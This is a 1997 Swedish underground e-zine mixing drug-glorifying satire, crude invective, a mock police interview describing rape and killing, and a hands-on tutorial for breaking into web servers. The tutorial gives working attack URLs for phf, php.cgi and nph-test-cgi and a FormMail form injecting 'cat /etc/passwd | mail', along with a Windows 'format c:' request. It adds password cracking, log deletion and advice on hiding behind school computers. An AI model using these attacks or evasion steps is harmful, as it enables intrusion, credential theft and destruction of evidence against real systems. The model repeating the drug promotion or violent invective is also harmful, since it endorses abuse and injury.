Digital Underground - Vanliga Skötsamma Ungdomar #vsu-4

V A N L i G A S K Ö T S A M M A U N G D 0 M A R nummer 4, december 1997 Grym dokumentation av Stockholms undre värld LÄS DETTA ZiNE PÅTÄND, MED DiNA BL0DSBESUDLADE HÄNDER iVRiGT SMEKANDE DEN NYLiGEN STULNA PENTiUM-DAT0RN!! ".. när Trollmor har lagt sina elva små troll, och bundit fast dem i svansen .." ( Officiell epostadress till VSU-redaktionen: unifier@c64.org ) ------------------------------------------------------------------------------ ********* * iNTR0 * ********* "Reason is, and ought only to be the slave of the passions, and can never pretend to any other office than to serve and obey them." - David Hume Välkommen in till det svarta hålet Medelklass! Det är ett mörkt, varmt och vått hål, av genus femininum (greetings to Freud). Här inne i det svarta hålet kan vi inte längre röra oss själva, eftersom medelklassen ju är en typ av marionettdockor. Däremot får man inne i det svarta hålet mycket fin mat, många lyxvillor och mycket sex med Victoria Silvstedt (fast bara i missionärsställningen, annars kan ju någon tro att du är pervers, glöm inte bort Svenssons hämmade sexualneuros). Inuti fungerar fortfarande din hjärna, men du har ingen som helst kontroll över din kropp längre. Ditt liv bara passerar förbi, som i en film. Efter ett antal decennier av själviskt roffande blir man utsläpad ur det svarta hålet Medelklass i en likbil. Oerhört meningsfull tillvaro. (Å andra sidan är det inte så mycket mer meningsfullt att sitta tio år för sent och vara bitter och hatisk över vad dåligt man passade in i Örebros medelklassliv på 80-talet. Att därför slösa bort sin tid på fåniga små e-zines, trots att man vet att man borde göra något viktigare när döden står på lur bakom varje buske, vid varje övergångsställe, vid varje brant backe, är bara för patetiskt. "Se på mig! Jag är publicerad! Jag är jävligt underground och gjorde totalt överflödiga demos för några år sedan som alla har formaterat och glömt bort för jävligt länge sedan." Väx upp för helvete.) På tal om människor med huvudet under armen i oviktiga villaområden så har nu denna tvivelaktigt underhållande företeelse även spritt sig till djurriket, då brittiska embryologer har lyckats manipulera fram HUVUDLÖSA GR0DEMBRY0N. Det är dock än så länge oklart om de svenska storföretagen kommer att anställa alla dessa grodor direkt vid födseln. Vi måste också göra er uppmärksamma på att media ljuger för er ganska grovt. Egentligen var det ju Olof Palme som skjöt Christer Pettersson, den där kvällen för 11 år sedan. Olof gick Sveavägen ner med sin ovanliga haka, dovt mumlande Taxi Driver-citat om "washing the scum off the streets", med sin revolver gömd under kläderna. Christer kom gående på väg hem helt fredligt efter att ha skaffat nya roliga droger att testa. Olof skjöt honom, och skandalen var ett faktum. Herr Palme har varit gömd i en bunker nere i urberget sedan dess, och den "Christer Pettersson" ni sett i TV då och då är naturligtvis datorgenererad av Industrial Light & Magick. (Evil Filled Vectors by TTS!!) Ja ja, nu är vi tillbaks med VSU#4 som ett slags för tidig julklapp till alla små wannabes ute i landet. Det blir för övrigt inga julklappar till några jävla ungar alls i år, eftersom vi har hackat oss in i Tomtens förråd uppe i Nordpolen och snott alla fula paket. Vi har dessutom hackat SVT:s sändare, och vi kommer att sända sadomasochistisk hårdporr från vår gamla VHS-video vid det klockslag på julafton då det svenska folket vant sig vid att få se Kalle Ankas Julafton på den usla dumburken. Vad gäller den helg som står för dörren och blockerar så vill vi påpeka, att termen "julbock" inte alls står för någon stor konstig sak av halm. Snarare är det en beteckning för Far i familjen, när hans sexuella drifter vaknar till liv efter en tämligen oansvarig konsumtion av den socialt accepterade drogen alkohol. Det har hänt en hel del sedan sist. Både Jarl Kulle och Michael Hutchence har knarkat ihjäl sig. Dessutom uppmärksammade nyhetsbrevet Flashback News Agency (en publikation som vi dyslektiker brukar benämna med trebokstavsförkortningen F.A.N.) oss i nummer 91, så här har rasat in en större mängd nya prenumeranter, som vill gotta sig åt våra hemska defekter. Ibland går vi VSU:are ut på stadens gator och torg som vanliga friska människor. Det kräver att vi ger fan i de hallucinogena svamparna ett tag, och att vi istället snällt tar dagens dos av metadon, för att nödtorftigt försöka dölja våra hemska skador och låtsas vara som de friska. Vi brukar avtrubbat gäspande bläddra igenom de aktuella världshändelserna i DN:s del A på Biblioteksannexets tidningsavdelning vid Odenplan. (Alla brukar mumla något om "jävla uteliggare som luktar illa" i en föraktfull ton, när de ser oss där.) Efter att ha gjort detta nyligen vill vi kraftigt betona att Katten Pejst inte alls har valt sin handle för att hylla Sigvard Marjasin och hans största fritidsintresse. På tal om kortaffärer kan vår spådomssektion avslöja, att Elton J kommer att inleda 1998 med ännu en version av "Candle In The Wind". Den här gången ges den ut till stöd för den svenska ex-politikern Sölve C, och låttiteln vid detta tredje utgivningstillfälle kommer att bli "Cardz In The Wind '98". Vi är labila, för att inte säga störda - vi har problem och behöver vård. Men vi har iallafall kommit så långt med våra problem att vi har börjat editera våra adressböcker med vår bekantskapskrets, så att vi slipper reta oss på människor som gör dumma saker. I början är man bra kompisar och tycker om varandra och lyssnar på varandra. Medan åren går blir man allt sämre kompisar och antingen trycker man ner åsikter i varandras halsar eller så utnyttjar man bara varandra så mycket och så grovt som man bara kan. Förr eller senare måste någon våga trycka på (D)elete Entry. Annars har vi varit på Åsö Gymnasium på Söder i Stockholm och sålt en hel del hallucinogena svampar till de duktiga små mediaeleverna (en arme av tusentals exakt likadana svenska tonårsflickor som vill jobba med media, tror jag, typ programledare på Z-TV och intervjua Popsicle och This Perfect Day och så, liksom). Respekt till polarna Posener och Moyne förresten. Synd att ni fuckade upp den här gången bara. Ekonomisk hacking är ju oerhört tufft! Till sist vill vi bara påminna er om det gamla goda svenska ordspråket som har genomsyrat hela det svenska folkhemmet: "Bra karl skjuter upp mycket knark". Gör som Roni Size, rök på ofta. The Verve har så jävla fel, när de baktalar droger. Droger är bra, och ger dig fin hy. // KattenPejst+ChuckBrel+StutteringMC of Vanliga Skötsamma Ungdomar e-zine ------------------------------------------------------------------------------ *************************************** * LJUNGBY-SYNDR0MET: FAV0RiT i REPRiS * *************************************** Inom parantes sagt så finns det en medicinsk term för avdelningschefens åkomma: "Ljungby-syndromet". Ljungby-syndromet uppstår hos en sällsynt ettrig art av karriärinriktade besserwissers. Någonstans på vägen försvinner insikten att deras känslor och värderingar bara är deras egna, och inte gäller för resten av världen. Ett typiskt sjukdomsförlopp är medlemskap i elevrådet vid 16 års ålder, brinnande debattartiklar vid 22 års ålder där de högljutt förklarar att Roxette är ytlig masskultur och att Omni Trio är elitistisk snobbkultur eftersom sjuklingen inte själv äger några skivor med vare sig Roxette eller Omni Trio. Efter detta sorgliga avsnitt kommer ett meningslöst men intensivt studerande med en extrem fixering vid meriter och poäng, vilket sedan följs av harakiri vid 43 års ålder, när livslögnen rämnar och patienten slutligen inser att han (mer sällan en kvinna) aldrig kommer att få något Nobelpris. // De Gråa Herrarna of Tidssparkassan (greets 2 Michael Ende) ------------------------------------------------------------------------------ *********************** * ViKTiG KULTURDEBATT * *********************** En kompetent dialog mellan brittiske tonsättaren sir Michael Tippex och svenske IT-debattören Jan Freeze-Frame. Hur har det varit och hur ska det bli sedan? Kommer något att förändras, isåfall vad, hur mycket och åt vilket håll? MT: Hej Jan. JF: Hej Michael. MT: Ska vi leka? JF: Jaaa! Det verkar kul! . . MT: Eh, jag har tappat bort häftet med mina repliker! JF: Jag med! MT: Shit - vi har ju redan fått vår plats i VSU tilldelad! Den här artikeln ska ju pågå 32 rader till!! (32) JF: Oj.. (31) . (30) . (29) JF: Vi kan väl dra några ramsor för att fylla upp zinet med totalt (28) överflödig information? (27) MT: JAA! Viskan, Ätran, Ljusnan, Lagan, Viskan, Nissan.. (26) JF: Men det är väl en bil? (25) MT: Eh, jo, jag tror det. (24) JF: Motala Ström är 100 km lång och har ett avvattningsområde som är (23) 15 500 kvadratkilometer stort. Det visste du inte! (22) MT: Nej, jag är ju brittisk tonsättare, så det borde väl räcka som (21) ursäkt. (20) . (19) . (18) MT: Alfa, beta, gamma, delta, epsilon... (17) . (16) . (15) JF: Durch, gegen, über, unter.. nej, jag har glömt de där. (14) MT: Man kan fylla ut ganska många rader genom att sno några meningar (13) från andra källor till en rolig cut-up-text, typ så här: (12) "Om Fanshawe bar sitt skärpspänne på sidan av byxorna drog jag (11) omedelbart mitt eget spänne till samma läge. Om Fanshawe kom till (10) lekplatsen i svarta gymnastikskor bad jag min mamma om svarta (09) gymnastikskor nästa gång hon tog mig med till skoaffären." (08) "The young Michael withdrew even further into himself when he entered (07) high school while living in Collinsville, Illinois, just east of St. (06) Louis. The brash behaviour of his fellow adolescents there overwhelmed (05) him. 'It was a very outgoing, flamboyant, loud school and I hated (04) everything about it', he later recalled. 'I was very, kind of, *afraid* (03) of a lot of things.'" (02) "Designtorget inspirerade er? -Njae.. det blev snarare en motreaktion.." (01) JF: Det var väldigt fina citat, tyckte jag. // Kulturred of DN + SvD + Rädda Rummet @ SVT osv etc m m in absurdummmmmm marabou ------------------------------------------------------------------------------ **************************** * VSU:S NYA TUFFA SEXSPALT * **************************** Dagens fråga (och svar). Med Kristina Bagardotter. Fråga: Hej Kristina, jag är en helt vanlig kille på 18 år som just har fått min första flickvän. Jag är oskuld och vet inte så mycket om sex och sånt. Nu är det så att jag har fått veta att min flickvän har använt droger. Vad ska jag göra, allt känns så fel. Hon kanske är farlig, och vad händer om vi har sex? Kan jag också bli drogberoende då? Jag funderar på att göra slut, men jag är rädd att hon ska ge mig en överdos av någon hemsk drog i så fall. Hjälp mig! Vad ska jag ta mig till? // Erik, 18 år och rädd! Svar: Hej Erik! Det här är ett mycket vanligt problem och det bästa är nog att ta kontakt med polisen eller ravekommandot, dom vet vad som bör göras, troligen tar dom livet av henne på en gång. Men om du vill vara på den säkra sidan så kan du fråga henne om hon går på s.k ravefester, om hon svara ja på den frågan bör du genast gå till polisen. Om inte så kan du börja leta efter så kallade flyers, en slags flygblad med information om ravefester, om hon har sådana hemma bör du också gensat uppsöka polisen. Och du bör nog genast uppsöka läkare och låta dig undersökas om du har vidrört den här flickan, risken finns att du kan ha smittats av den så kallade ravesjukan. Den går i vissa fall att bota, om den upptäcks i tid. Hoppas du har fått lite hjälp med ditt problem, men det bästa är som sagt att gå till polisen om du har några som helst misstankar om att hon använder droger. Och sex är helt och hållet uteslutet för din del. Du får försöka hitta en riktig flicka istället. // Kristina ------------------------------------------------------------------------------ *********************************** * DUBBELiNSÄNDARE TiLL VSU 0CH DN * *********************************** Svenska Ungdomar Kanske Har Ett Och Annat Att Lära!! "Klottrar dom i Hongkong med?" Frågan ställdes till mig av en äldre herre jag kommit i samspråk med under T-baneresan in mot Stockholm. "Nej", måste jag svara, "jag ser aldrig klotter i Hongkong". "Hur förklarar du det?", undrade han. Och då står jag där, som så många gånger förr, med en nästan uppgiven suck (eftersom jag vet att det lönar föga att jämföra olika samhällen och kulturer) och säger att ungdomarna borta i Asien har ett annat slags respekt för saker och ting. De är inte bortskämda med stora fria ytor, med ren frisk luft och att allt är serverat. Det faller dem liksom inte in att ta sig friheter som att slarva med skolan, vara ute och ränna på stan och att ha ofog för sig. Ungdomarna i Asien har en rätt tuff vardag. De har en skola där de måste prestera, de har mycket läxor och nästan ingen fritid alls. Dessutom har de förväntningar på sig, inte bara från skolan utan i lika hög grad från föräldrarna. Min medresenär provocerar till ytterligare belysningar, och jag tvingas säga som jag tycker det blivit i Sverige: att föräldrarna förlorat sitt grepp över barnen, att skolan inte förmår kompensera för brister i barnens uppfostran och uppförande, att det hela blivit så anpassat och kamratligt att inte några ansträngningar alls krävs av eleverna. Slappheten är total. Kunskapsnivån sjunker och landets unga förlorar tilltron till sin framtid. De få som ändå håller ut är privilegierade, intelligensmässigt eller socialt, och vi riskerar att få en segregering, som givetvis slår mest mot de redan svaga. En nationell olycka är det! Hur många avslöjande reportage om den skrämmande skolvardagen behövs det för att vi ska vakna upp? Vi har nu haft 20 år av daltande och anpassning till elevernas önskemål. Vi vet att denna väg inte lett till ökande kunskaper och välbefinnande. Kan det tänkas att en mer kravfylld skoltillvaro vore värd att pröva? Kan det tänkas att förväntningar och engagemang från föräldrarnas sida kunde ge barnen en förståelse för att det gäller att sköta sig i skolan? Kan det tänkas att lärare med kompetens och engagemang skulle kunna få möta aktning och respekt ifrån sin omgivning? Skulle det rent av kunna tänkas att elever i svensk skola finge så mycket läxor och skoluppgifter att sysselsätta sig med att de inte längre hade tid och ork att ränna på stan och klottra och "sabba"? Kanske vore det värt att förklara sambanden? Mellan arbete och resultat, flit och möda och varje individs möjlighet till utveckling? Då kanske respekten för lärandet skulle komma åter och därmed respekten för dem som lär ut? // Fru K.A. of Stockholm/Hongkong [Nej, jag lovar: Vi har inte hittat på ett dugg. Vi skrev in denna insändare rakt av från ett nyligen utkommet nummer av Dagens Nyheter. Sådana här människor finns på riktigt!] VSU replikerar: KÄFTEN, KÄRRINGJÄVEL!!! Ät hallucinogena svampar lite oftare, så du blir som folk. Fattar du inte att vi äcklas av dig och ditt förljugna roffande av ekonomiska fördelar? Klotter och graffitti är ju viktigare än annan konst, eftersom de vanliga konstnärerna blir knullade hårt bakifrån av galleristerna och resten av samhället. En handling är bara värdefull om den baseras på passion, snarare än att roffa åt sig pengar. Om du inte har upplevt någon passion för något de senaste 25 åren är det helt enkelt dags för ättestupan! I arbetslivet gäller det att låtsas vara en maskin. Du får beröm som McDonald's-anställd om du lyckas vara lika förutsägbar och algoritmstyrd som pommesfrites-maskinen i hörnet. Eventuellt eget tänkande eller överhuvudtaget eventuella försök att vara en kännande, tänkande, flexibel individ även i din yrkesroll kommer de att straffa dig för. Som ett annat exempel på vikten av passion kan man ju studera diverse Ljungby-SSU-medlemmar närmare - ni vet, sådana där fanatiskt fradgatuggande extremister (SSU, en farlig sekt) som bara har ett intresse, och har klart sadistiska drag som gör att de får kickar av att trycka ner sina åsikter hårt i Akties hals. Någon av dem (miss-)sköter till och med en website för den gamla warez/demogruppen TRIAD, inte för att han har något intresse för TRIAD längre utan för att låtsas vara hacker så att han ska kunna roffa åt sig läsare till sin hackerbok med de många faktafelen. Tragiskt. "Hur var det nu igen? Ägnade sig Burroughs bara åt cut-up resten av sitt liv efter 'Den Nakna Lunchen'? Äh, jag orkar inte göra research på det. Jag chansar på något, och hoppas att ingen märker min lathet. Förresten så handlar det ju inte om politik, så det är ju ändå inte viktigt." - SSU / 3AD Människor som är så självupptagna, att de har allvarliga problem att skilja mellan (a) kritik som grundar sig i avundsjuka och (b) kritik som grundar sig i känslor av äckel inför roffande yuppie-Expedition Robinson-Mobitel-svin. Människor som är väldigt långt gångna sadister, och får sexuella kickar av att hoppa på andra människors konsumtion av Magic The Gathering-kortlekar, innan de själva åker hem till sin duktiga medelklassvilla. Vi ser att villan och MTG-kortleken har samma funktion (lyxkonsumtion för att visa klass- och grupptillhörighet), det ser ni också, men dessa SSU-sektmedlemmar ser det inte, p g a dålig självinsikt. Därför, efter att ha skådat både Fru K.A. och Herr L. ovan, har vi kommit fram till att rörelsens slagord MÅSTE vara "De passionerade till makten", inte "Vita män som njuter av att förtrycka andra med teoretiska sociologiska facktermer till makten". Ni vet, människor på landet med fula skinnvästar ("en riktig rocker, som Keithan liksom") och ölmagar är inte våra största favoriter. Men för all del, de har väl inga skador som inte kan åtgärdas med en lagom dos vätecyanid. // Katten Pejst, VSU:s grymme ligaledare och hjärnan i gänget ------------------------------------------------------------------------------ ******************************************************** * HACKA SKiTEN UR M0DERATSViNEN GEN0M DERAS CGi-SKRiPT * ******************************************************** "Stadsgerillans syfte är att på enskilda punkter förstöra den statliga maktapparaten, upphäva den på vissa ställen samt krossa myten om systemets allestädes närvaro och dess osårbarhet." - RAF Som den uppmärksamme läsaren säkert har fattat vid det här laget så ser vi VSU:are (nej, inte SSU:are) hacking som en uppföljning av RAF:s livsverk, anpassat för 90-talet. Hur ska vi då hacka sönder Storebror och de feta affärsmännens äckliga företag? Ett bra sätt att komma åt dem är genom de webservrar de har. Dessa är ofta enkla att ta sig in i, genom att de har s k CGI-skript. Ett CGI-skript är ett datorprogram som tar emot information från en HTML-form på en websida, och som sedan bearbetar informationen och presenterar resultatet som ett livegenererat HTML-dokument. Har du någonsin fyllt i en gästbok eller sökt på Altavista har du använt CGI-skript och HTML-forms. Denna enkla nybörjarkurs kommer att koncentrera sig på webservrar som kör UNIX. Det finns roliga CGI-relaterade problem på Windows-servrarna också (exempelvis har många Windows-servrar lagt tolkar typ PERL.EXE i samma katalog som skripten ligger i, och då kan man anropa tolken direkt, med någon adress typ <http://www.lam.se/cgi-bin/perl.exe?-e?'format%20c:'> så att man kan köra valfritt DOS-kommando på servern), men vi kommer ändå mest att ta upp UNIX. Vad behöver du för förkunskaper? Ja, eftersom vi ska ta oss in i ett UNIX-system så måste du kunna en del UNIX. Du behöver inte vara någon stor expert, men åtminstone de enklaste kommandona för att skapa, flytta och ta bort filer, och för att komma åt olika Internettjänster (Telnet / FTP / mail), samt hur man redigerar textfiler i någon enkel editor (Joe, Pico) är nog nödvändiga att ha koll på. Du kan lära dig detta genom att Telnetta in till din Internet-leverantör och köra UNIX där, eller genom att installera Linux på din PC hemma. Om du ska ändra på något företags websida måste du också kunna skapa en ny websida (logiskt?) som du kan lägga upp istället. Vad behöver du mer? Aktivitet mot en webserver, samt inloggningar via Telnet och FTP o s v, lagras i olika loggar. Därför är det dumt att sköta någon större del (någon del alls?) av din hacking från ditt Internetabonnemang dit du kan spåras. Leta istället upp tillgång till Internet någon annanstans, där det finns många datorer och ingen känner dig men där ingen heller verkar bry sig om vem du är och varför. Sådant går ofta att fixa på någon lokal skola. Om du fuckar upp totalt så kan de som du hackade bara spåra fram till en viss dator i en viss datorsal på ett visst universitet t ex, och om du inte ens är elev där så är det ju små chanser att de ska få fast dig utifrån denna information. OK, alla monsterdiggare, nu börjar vi: (1) CGI-skriptet 'nph-test-cgi' Detta skript finns på många UNIX-webservrar. Eftersom någon KTH-nörd sög av chefen samtidigt som han kodade det så finns det en bug i det som gör att det lätt går att använda skriptet, för att se vilka filer som finns i en valfri katalog på deras system. Så här gör du: <http://www.keine-ahnung.se/cgi-bin/nph-test-cgi?*> Då får man fram själva cgi-bin-katalogen på servern. Man kan också kolla på en specifik katalog: <http://www.genau-hitler-server.de/cgi-bin/nph-test-cgi?/etc/*> Då får man se vilka filer som finns i katalogen /etc. Detta kan vara mycket bra att prova som första grej mot en server man vill angripa. Om man kör varianten med ?* på slutet ovan får man ju reda på vilka andra CGI-skript som finns installerade, och det är bra att veta. (2) CGI-skriptet 'php.cgi' Detta skript finns ibland. Vissa versioner har en bug som gör det möjligt att få skriptet att visa valfri fil från deras filsystem. Prova: <http://www.ingen-just-nu.com/cgi-bin/php.cgi?/etc/passwd> eller: <http://www.vet-ej.se/cgi-bin/php.cgi/etc/passwd> Detta ska visa upp /etc/passwd-filen, om du har tur. (3) CGI-skriptet 'phf' Detta skript kan du ha stor nytta av, eftersom det har en riktigt allvarlig bug. Tyvärr så har det gått ut mycket information om denna bug, så många webadmins har fått ur tummen och tagit bort skriptet eller bytt namn på det (fast då kan man nog få det nya namnet med skriptet 'nph-test-cgi' ovan), eller t o m lagt upp någon slags spårningsmekanism som lagrar alla som försöker anropa 'phf'-skriptet och som sedan skriver ut något om denna lagring på din skärm. Buggen som kanske finns gör att du kan köra valfritt UNIX-kommando på deras server, som den user som webservern körs som. (Vilken user detta är kollar du med UNIX-kommandot 'id' när du kommer så långt.) Så här gör du: <http://www.svara-att-hitta.se/cgi-bin/phf?Qalias=x%0acat%20/etc/passwd> Detta gör att kommandot 'cat /etc/passwd' körs. %20 står för mellanslag. (4) olika typer av FormMail-skript Denna bug är också riktigt allvarlig. FormMail-programmet från Matt's Script Archive har fått denna bug rättad i senare versioner, men det finns ju folk kvar som kör gamla versioner av skriptet.. Det finns också små KTH-nördar som har kodat en egen variant på samma skript, och dessa egna varianter har ofta denna bug. Först gör du ett litet 0ndskefullt HTML-dokument: <html><head><title>hack</title></head> <body><form method="post" action= "http://www.clueless-sysadmin.se/cgi-bin/formmail.pl"> <input type="hidden" name="recipient" value= "ugh@hotmail.com; cat /etc/passwd | mail ugh@hotmail.com"> <input type="submit" name="submit" value="submit"> </form></body></html> Sedan skapar du det Hotmail-konto som du behöver just för detta hack. I vissa fall kan variabelnamnet "recipient" behöva bytas ut mot "to" eller något. Observera också att en webserver ser hela sökvägen till det HTML-dokument som anropar ett skript, så lägg inte detta HTML-dokument på ditt privata Internetkonto. Lägg det på hårddisken på skolan som du har skaffat tillgång till (se ovan). Sedan kör du Net$cape, öppnar detta HTML-dokument från hårddisken, trycker på Submit-knappen, väntar en stund, och går sedan till ditt Hotmail-konto och plockar upp deras /etc/passwd-fil. (5) andra skript Med 'nph-test-cgi' kan du se vilka andra skript som de har installerat. Du kan prova de metoder vi har nämnt ovan på andra skript och se om det går att köra kommandon på något sätt. Just att lägga in semikolon (;) eller ny rad (%0a) på något ställe i anropet till skriptet kan ofta få ett dåligt skrivet skript att låta dig köra valfritt UNIX-kommando. Det lär ska finnas roliga buggar i skripten "query" och "post-query", fast dessa har vi inte upptäckt än. Även skriptet "jj" går det rykten om, men när vi tittade igenom sourcekoden till "jj"-skriptet verkade det som om detta rykte skulle vara felaktigt. För att ryktet skulle stämma skulle en viss konstant i koden behövt vara en variabel istället, och det var den inte. (6) Vad göra med /etc/passwd? Vad gör du sedan när du har fått en /etc/passwd-fil? Jo, du laddar hem en Password Cracker (Star Cracker för DOS är bra) och ordlistor till denna, läser dokumentationen och kör programmet med alla möjliga options under flera dygn i följd. Om du ska hacka en skandinavisk site kan du behöva ladda hem några ordlistor för skandinaviska språk också, och sådana finns på <ftp://ftp.funet.fi/pub/doc/dictionaries/> När du sedan har fått en giltig kombination av användarnamn/lösenord så Telnettar du in till datorn ifråga (OBS! Gör detta från skolan du har letat upp, eftersom detta förmodligen är mer olagligt än att anropa CGI-skript med konstiga parametrar) och tittar igenom systemet. Du ser vilken version av UNIX de kör med kommandot 'cat /etc/motd'. Det finns olika små program för att bli root, när du väl har kommit så här långt. Att lägga upp en hackad websida går till precis som att lägga upp en vanlig websida, m a o man skaffar sig användare och lösen till någon av de användare som har rätt att ändra på websidan i fråga, sedan loggar man in med FTP, förflyttar sig till rätt katalog, och lägger upp websidan och tillhörande bilder på servern. (7) annat Överkurs, del 1: Det syns tydligt i en webservers logfiler, när någon hackar sig in genom olika CGI-skript. Det löser man enkelt genom att ta bort dessa logfiler, när man väl har kommit så långt att man kan köra UNIX-kommandon på systemet. De kan tänkas ligga i katalogen /var/spool/httpd till exempel. När dessa filer väl är borttagna skapas de inte automatiskt när webservern skickar ut sidor, utan du eller någon annan måste aktivt skapa filerna på nytt för att loggen ska komma igång igen. Överkurs, del 2: Om du får problem med att skapa nya filer som du vill ha på ett system, men kan köra valfria kommandon med olika CGI-metoder, så kan man flytta över filer via mail. Lägg den fil du vill ha över på ett annat UNIX-konto, och uuenkoda den. Sedan ändrar du första raden i den uuenkodade filen, så att det namn som står där är en fullständig path till den fil i systemet du hackar där en viss användares mail hamnar (exempelvis kan denna rad lyda "begin 644 flyttfil.gif" från början, och du kanske ska ändra den till "begin 644 /var/spool/mail/kalle"). Sedan mailar du den uuenkodade filen till kalle, förslagsvis genom någon slags anonym remailer. Du kollar att mailet har kommit fram med "cat /var/mail/spool/kalle", och sedan kör du på systemet du vill hacka kommandot "uudecode /var/mail/spool/kalle". Då kommer filen "flyttfil.gif" att ligga på systemet som du hackar, fast den kommer istället att ligga i filen "/var/mail/spool/kalle". Observera att detta tar bort eventuell övrig post som kalle kan tänkas ha. Att läsa post och andra filer på ett system kan för övrigt vara ett bra sätt att snoka upp information som du kan ha nytta av. Det var väl det vi hade att säga om hackande via CGI-skript. Om du vill lära dig mer om andra typer av hackande får du vänta på fler nummer av VSU, eller läsa Bugtraq på <http://www.geek-girl.com/bugtraq/>. Om du har lärt dig något från denna text och sedan använder den för att hacka någon site vore det hemskt trevligt med greetings till VSU på sidan som du hackar. // den 0nda VSU-klanen ute i den gråa och dystra Stockholmsförorten ------------------------------------------------------------------------------ *************************** * RAVEK0MMAND0T TALAR UT! * *************************** Vi på före detta ravekommissionen har nyligen fått veta att en del ungdommar som håller på med hacking (och andra saker som hör till den subkulturen) använder sig av droger och sprider propaganda om droger i vissa e-zines. Enligt våra uppgifter så är ert e-zine, VSU, ett av dom allra värsta. Ni uppmuntrar ungdommar till att tro att droger och hacking hör ihop. Detta MÅSTE få ett slut! Ni måste få ett slut, era vidriga kräk. Förstår ni inte att knark är förbjudet? Allt som är förbjudet är extremt farligt, bara ett litet bloss hasch kommer högst troligt medföra att ni om ett par månader kommer sitta på plattan med en kanyl vänsterarmen. Ni kanske undrar varför jag, David Äckelbaum, inleder med att skriva "före detta ravekommissionen" och det ska jag nu förklara. Vi har genomgått en hel del större ändringar inom vår del av polisen. Det mest ytliga är kanske att vi inte längre kallar oss ravekommissionen. Numera har vi delat upp vår organisation i två delar. Jag ska här försöka ge en liten beskrivning av vad dessa nya delar har för arbetsuppgifter och arbetsmetoder. Ravegestapot: Detta är den grupp av personer som tar hand om spaning och förhör. De tar också hand om det rent administrativa. Dessa personer är av en något högre rang än de som ingår i ravekommandot. Ravegestapot behöver därför inte själva misshandla några raveare eller andra ungdommar som använder droger. De poliser som ser det som en fördel att få misshandla intet anande och oskyldiga raveare hamnar alltså inte i denna del av organisationen, de hamnar i ravekommandot. Ravekommandot: Här jobbar ett gäng män och kvinnor som verkligen vet vad dom vill. Dom är ofta muskulösa män och kvinnor (att dom ofta har välfigt låg inteligens har ingenting med saken att göra), ofta under 30 år (för att dom ska "passa in" bland de så kallade ravearna, också kallade partydrogarna). Vi inom ravekommandot (där jag själv ingår) njuter av åsynen av trippade ungdommar som vi får äran att, om dom inte följer våra order (men det struntar vi ofta i om dom gör), får slå och misshandla. Detta gör vi för att stilla våra lustar då många av oss gillar att bestämma. Kalla oss sadister om du vill, det njuter vi bara mer av, det hela handlar om respekt. Inte att dom knarkar, för det gör ju vi också. Vi är utrustade med armebyxor och munkajackor för att passa in i dom miljöer som vi ofta tvingas befinna oss i. Vår främsta uppgift är att hitta och hindra ungdommar från att nyttja och/eller sälja narkotika. Men vår största uppgift är egentligen att stoppa och om möjligt förinta ravekulturen här i Sverige. Vi har även en del infiltratörer inom kulturen som förser oss med upplysningar om vart ravefester ska hållas och vart vi kan hitta knark. // David Äckelbaum / Ravekommandot Här följer en intervju med David Äckelbaum som jag har gjort. Texten ovan har David på ravekommandot själv skrivit och gett mig för att be er publicera i ert e-zine. - Hej David, tack för att du ställer upp på den här intervjun. [Jag hade maskerat mig som nazist med bombarjacka och hela outfiten för att han inte skulle misstänkta någonting, och för att han skulle känna sig hemmastad!] "Ja, det är så lite så, jag ställer alltid upp för mina ariska bröder.. Och systrar.. höhö! Sigh Heil!" - Eeeh, ja, just det! Stämmer ryktet om att ni [jag syftar här på ravekommissionen] har delats upp i två nya delar, ravekommandot och ravegestapot? "Ja, det stämmer. Vi ansåg det mer praktiskt eftersom vi kan få en bättre reaktion hos undommarna (läs: ravearna) om vi har lite tuffare namn. Det blir lättare att få respekt och om vi får respekt så hittar vi knarket lättare. Det hela handlar ju nästan enbart om respekt, vi skiter fullständigt i om ravearna går på sina ravefester och knarkar ihjäl sig, det löser ju bara våra uppgifter. Vi är ju här för att förinta ravekulturen. Detta gör vi på lite olika sätt." - Jaha, det låter ju intressant. Kan du inte berätta lite om era arbetsmetoder? "I vår kamp mot narkotikan, eller ja, rättare sagt: I vår kamp mot ravekulturen så har vi under åren lärt oss hur vi gör mest skada. Vi har sammanstält en liten lista över de sakerna!" - Skulle man kunna få se den listan? "Ja, varför inte, jag har den inte med mig, men jag kan ju berätta för dig, jag har nämligen lärt mig listan utantill!" - Oj, det var bra gjort! [Verkligen imponerad] "Okej, här är då listan: * Gruppvåldtäkt av söta raveflickor. * Gruppvåldtäkt av söta ravepojkar. * Beslagtagning av knark. * Videofilmning av raveare (på dessa filmer markerar vi ut våra offer, så vi vet vilka vi ska ta när vi ser dom). * Onödigt våld av alla former är bra. Batonger och pistoler ska användas så ofta som möjligt. Skadeskjutning är onödigt så vi brukar skjuta för att döda. * Psykisk terror är annars också ganska bra. Det finns några till saker, men dom är hemligstämplade." - Ja, det låter ju riktigt bra [jag spelar med]. Men vad gör ni egentligen med alla de droger ni beslagtar? Jag har hört att ni har beslagtagit en hel del godbitar om vi säger så! "Javisst har vi det, vi har ju vår årlig polisfest som brukar hålla på i tolv timmar i sträck, det är väl där vi gör av med det mesta av årets fynd. Men det är bara partydrogerna vi redovisar för. Dom andra drogerna, dvs heroin av alla dess slag och lugnande medel och sånt (dvs neråt-droger) behåller vi själva eftersom vi (dom flesta inom kommandot) är starkt beroende av dessa droger. Ibland så använder vi dock lite metamfetamin för att orka jobba sent på kvällarna. Alla vet ju att man inte kan vara vaken en hel natt på ett raveparty eller en klubb utan att ha tagit knark, och det stämmer även med oss, vi är ju inte mer än människor!" Jag har noterat att David hela tiden sitter och skakar på ett lustigt sätt och undrar lite varför han gör det, så jag frågar. - David, varför sitter du och skakar som du gör? Har du abstinens eller nått? Jag tycker mig känna igen symptomen! "Ja, det är det. Jag har inte tagit heroin på flera timmar. Är det okej om jag skjuter upp här?" - Ja för tusan. Skjut på du. Är det okej om jag tar några kort? "Nej, nej, nej! Det går inte! Hur skulle det se ut!?" - Nej, jag förstår, det var en dum fråga. "Ja, det var det." David tar fram en sked och ett stearinljus och börjar fixa varorna. Efter en stund tar han fram en spruta och fyller den med drömvätska. - Ja, då är det dags att skjuta upp då? In med kanylen bara! "Jaja. Jag kanske kommer vara lite borta en stund, men det är bara som det ska." - Okej. David skjuter upp och ramlar snart ner på golvet med sprutan hängandes i venen. Jag passar på att ta några fina bilder på honom när han ligger i fosterställning på golvet. Fina bilder! Dom hamnade i mitt fina bildkollage. Efter drygt en halvtimme vaknar han upp, då har jag bundit fast honom vid en lyktstolpe vid polishuset i Nacka. Han har fortfarande kanylen i armen. Sen ringer jag in ett annonymt tips till 